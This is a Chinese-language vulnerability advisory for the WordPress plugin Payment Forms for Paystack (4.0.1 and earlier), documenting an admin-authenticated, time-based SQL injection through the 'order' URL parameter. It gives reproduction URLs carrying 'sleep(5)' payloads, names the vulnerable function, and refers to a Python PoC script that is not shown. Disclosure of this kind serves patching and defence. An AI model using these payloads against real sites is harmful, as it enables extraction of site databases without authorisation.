WordPress 插件
组件名称 Payment Forms for Paystack
受影响版本 <= 4.0.1
组件别名 payment-forms-for-paystack
组件链接 https://wordpress.org/plugins/payment-forms-for-paystack/
漏洞类别 A3:注入
漏洞类型 SQL注入
管理员
在 Payment Forms for Paystack 插件 4.0.1 及更低版本中,在支付表单中查看支付列表时,由于对 URL 参数 order 的输入验证和转义处理不足,存在 SQL 注入漏洞。攻击者可利用管理员权限提取目标站点数据库中的全部信息。
尽管此漏洞不允许直接查询数据,但可以使用基于时间的 SQL 注入技术来提取数据。
准备一个安装了 Payment Forms for Paystack 插件 4.0.1 或更低版本的 WordPress 站点。
由于需要添加一个 Paystack 表单来执行查找,请从 Paystack 表单添加菜单(wp-admin/post-new.php?post_type=paystack_form)添加表单。

添加表单后,您可以查看 ShortCode,并将该 ShortCode 的属性 ID 插入到下方 URL 的 URL 参数 form 中,然后再访问它。
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)
例如,如果 [pff-paystack id="13"],请访问 http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=1)

因此,由于插入到 URL 参数 order 中的 SQL 注入载荷中的条件子句 where 1=1 始终为真,您可以确认 sleep(5) 函数被执行,响应在 5 秒后到达。
当请求存在漏洞的 URL 时,会调用文件 /wp-content/plugins/payment-forms-for-paystack/includes/classes/class-helpers.php 中的 get_payments_by_id 函数。
此时,URL 参数 order 未经任何输入验证或转义处理,被直接插入 SQL 查询并在数据库上执行。

因此,当 SQL 注入载荷 , (select sleep(5) from dual where 1=1) 被插入 URL 参数 order 时,将执行如下所示的 SQL 查询。此时,根据载荷中条件子句的真假,响应时间会存在差异,可以利用这一时间差异来提取数据库中的数据。
SELECT * FROM %i WHERE post_id = %d AND paid = %s ORDER BY %i , (select sleep(5) from dual where 1=1)
在编辑器中打开 PoC 代码,并输入 WordPress 站点地址和管理员凭据。

Required modulerequests
python poc.py


另一方面,如果将插入到 order 中的 SQL 注入载荷中的条件子句改为 where 1=2,您可以确认响应会立即到达。
http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=<Insertion Point>&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
例如,如果 [pff-paystack id="13"],请访问 http://localhost:8080/wp-admin/edit.php?post_type=paystack_form&page=submissions&form=13&orderby=&order=,+(select+sleep(5)+from+dual+where+1=2)
